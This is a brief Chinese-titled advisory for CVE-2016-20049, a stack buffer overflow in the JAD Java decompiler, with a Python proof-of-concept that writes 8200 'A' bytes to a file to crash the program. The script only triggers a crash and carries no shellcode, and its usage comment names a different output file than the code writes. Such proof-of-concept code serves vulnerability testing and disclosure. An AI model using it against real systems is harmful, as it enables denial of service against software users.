CVE-2016-20049 JAD栈缓冲区溢出漏洞

import sys # Generate payload to trigger buffer overflow in JAD # Description: Create a file with a large string to overflow the stack buffer. # Usage: python poc.py > malicious_file.class (or input file) # The buffer overflows after approximately 8150 bytes # We fill the buffer with 'A' to crash the application crash_payload = b'A' * 8200 try: # Write the payload to a file which can be fed to JAD with open('crash_jad.dat', 'wb') as f: f.write(crash_payload) print("[+] PoC file 'crash_jad.dat' created successfully.") print("[+] Run JAD against this file to trigger the vulnerability.") except Exception as e: print(f"[-] Error creating file: {e}")